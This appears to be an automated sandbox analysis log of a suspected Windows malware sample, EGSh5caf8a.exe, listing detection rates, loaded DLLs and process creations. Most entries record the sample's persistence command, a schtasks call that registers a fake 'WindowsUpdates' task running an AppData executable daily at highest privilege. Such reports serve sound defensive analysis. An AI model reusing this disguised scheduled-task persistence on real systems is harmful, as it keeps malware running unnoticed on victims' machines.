Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3652:120:WilError_03

Source: EGSh5caf8a.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: EGSh5caf8a.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: EGSh5caf8a.exe	ReversingLabs: Detection: 50%
Source: EGSh5caf8a.exe	Virustotal: Detection: 53%

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

File read: C:\Users\user\Desktop\EGSh5caf8a.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\EGSh5caf8a.exe "C:\Users\user\Desktop\EGSh5caf8a.exe"
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:39 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:40 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:41 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:42 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:44 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:45 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:46 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:47 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:49 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:50 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:51 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:52 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:54 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:55 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:56 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:57 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:01 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:07 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:13 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:17 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:21 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:25 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:39 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:40 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:41 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:42 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:44 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:45 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:46 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:47 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:49 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:50 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:51 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:52 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:55 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:56 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:57 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:01 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:07 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:13 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:17 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:21 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:25 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: rtutils.dll	Jump to behavior
